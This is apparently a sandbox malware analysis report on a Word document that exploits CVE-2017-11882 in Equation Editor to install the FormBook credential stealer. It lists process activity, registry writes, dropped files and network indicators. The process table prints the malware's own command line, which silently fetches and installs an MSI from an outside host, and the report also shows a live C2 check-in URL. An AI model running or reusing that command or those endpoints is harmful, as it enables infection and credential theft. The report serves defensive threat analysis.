| File name: | 0154d40bb2e37b97dd7aa135fc4fe0e20b97b1fd996180440eb4f339a49d10f2.docx |
| Full analysis: | https://app.any.run/tasks/3d7eb307-395b-4a1f-bd33-1ba99a92ce90 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | December 06, 2018, 06:28:59 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | 66F548137EE3E89EEFACB0CB836B34E7 |
| SHA1: | 506482ED84DBCF6EAA21FC84E727EB5EA0D8D35C |
| SHA256: | 0154D40BB2E37B97DD7AA135FC4FE0E20B97B1FD996180440EB4F339A49D10F2 |
| SSDEEP: | 3072:z7lL2mrdFADYhDFc8rpKSvNYbWRDzUyRBelYc3nTMSFm9d+tlKdeeyx:z7lCAdFkYhDFBxvqyRmTMSFmfSX |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 2756)
Uses Microsoft Installer as loader
- cmd.exe (PID: 3452)
Formbook was detected
- raserver.exe (PID: 4028)
FORMBOOK was detected
- explorer.exe (PID: 236)
Actions looks like stealing of personal data
- raserver.exe (PID: 4028)
Connects to CnC server
- explorer.exe (PID: 236)
Stealing of credential data
- raserver.exe (PID: 4028)
Changes the autorun value in the registry
- raserver.exe (PID: 4028)
SUSPICIOUS
Executable content was dropped or overwritten
- msiexec.exe (PID: 3028)
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 2756)
- raserver.exe (PID: 4028)
Drop ExeToMSI Application
- msiexec.exe (PID: 3028)
Creates files in the user directory
- raserver.exe (PID: 4028)
Loads DLL from Mozilla Firefox
- raserver.exe (PID: 4028)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2964)
Starts Microsoft Office Application
- explorer.exe (PID: 236)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2964)
Application was dropped or rewritten from another process
- MSIDE21.tmp (PID: 2252)
- MSIDE21.tmp (PID: 3228)
Starts application with an unusual extension
- msiexec.exe (PID: 3028)
- MSIDE21.tmp (PID: 2252)
Application was crashed
- EQNEDT32.EXE (PID: 2756)
Application launched itself
- MSIDE21.tmp (PID: 2252)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3028)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docx | | | Word Microsoft Office Open XML Format document (52.2) |
|---|---|---|
| .zip | | | Open Packaging Conventions container (38.8) |
| .zip | | | ZIP compressed archive (8.8) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0x2ea8411c |
| ZipCompressedSize: | 351 |
| ZipUncompressedSize: | 1364 |
| ZipFileName: | [Content_Types].xml |
XML
| Template: | template.dotx |
|---|---|
| TotalEditTime: | - |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Application: | Microsoft Office Word |
| DocSecurity: | None |
| Lines: | 1 |
| Paragraphs: | 1 |
| ScaleCrop: | No |
| HeadingPairs: |
|
| TitlesOfParts: | - |
| Company: | - |
| LinksUpToDate: | No |
| CharactersWithSpaces: | 1 |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 15 |
| Keywords: | - |
| LastModifiedBy: | Richard |
| RevisionNumber: | 2 |
| CreateDate: | 2018:11:14 11:14:00Z |
| ModifyDate: | 2018:11:14 11:14:00Z |
XMP
| Title: | - |
|---|---|
| Subject: | - |
| Creator: | Windows User |
| Description: | - |
Total processes
44
Monitored processes
11
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 236 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2252 | "C:\Windows\Installer\MSIDE21.tmp" | C:\Windows\Installer\MSIDE21.tmp | — | msiexec.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2756 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2812 | /c del "C:\Windows\Installer\MSIDE21.tmp" | C:\Windows\System32\cmd.exe | — | raserver.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2964 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\0154d40bb2e37b97dd7aa135fc4fe0e20b97b1fd996180440eb4f339a49d10f2.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3028 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3228 | "C:\Windows\Installer\MSIDE21.tmp" | C:\Windows\Installer\MSIDE21.tmp | — | MSIDE21.tmp | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3452 | cmd.exe & /C CD C: & msiexec.exe /i https://a.doko.moe/owebbk.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3548 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 3916 | msiexec.exe /i https://a.doko.moe/owebbk.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 475
Read events
977
Write events
475
Delete events
23
Modification events
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 6>? |
Value: 363E3F00940B0000010000000000000000000000 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1300627479 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627600 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627601 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 940B000002B975022D8DD40100000000 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ?? |
Value: 7F3F3F00940B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | ?? |
Value: 7F3F3F00940B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2964) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
93
Text files
15
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA636.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{576C1659-8157-489E-871B-E8F986A1D8FA} | — | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{4D0A5B58-D682-42E3-9D80-2BABFF1D12EC} | — | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{A118DBED-EBEA-49A5-BEB7-FAC532A21403}.FSD | binary | |
MD5:— | SHA256:— | |||
| 3028 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF96714B4A479BFBC0.TMP | — | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF | binary | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{06E8226A-A91D-4F62-9025-58D356EE64F5}.FSD | binary | |
MD5:— | SHA256:— | |||
| 3028 | msiexec.exe | C:\Windows\Installer\MSID9AA.tmp | executable | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\43E6E613.doc | text | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
5
DNS requests
2
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
236 | explorer.exe | GET | 200 | 209.99.40.223:80 | http://www.tspaw.com/ka/?BZ=IxtRt1FDZZK2TAFp8NJTMl+WPiTjzZb02+XM8bJ9gaU9upVRzEjzua+mbv8KZbVTfYJ8+A==&_hGH7=hBcXm4q8lxD | US | html | 271 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
972 | svchost.exe | 185.83.215.2:443 | a.doko.moe | — | PT | suspicious |
2964 | WINWORD.EXE | 185.83.215.2:443 | a.doko.moe | — | PT | suspicious |
236 | explorer.exe | 209.99.40.223:80 | www.tspaw.com | Confluence Networks Inc | US | malicious |
3028 | msiexec.exe | 185.83.215.2:443 | a.doko.moe | — | PT | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
a.doko.moe |
| unknown |
www.tspaw.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
236 | explorer.exe | A Network Trojan was detected | SC SPYWARE Spyware Noon Win32 |
236 | explorer.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious HTTP-GET request with body and minimal header |
236 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
7 ETPRO signatures available at the full report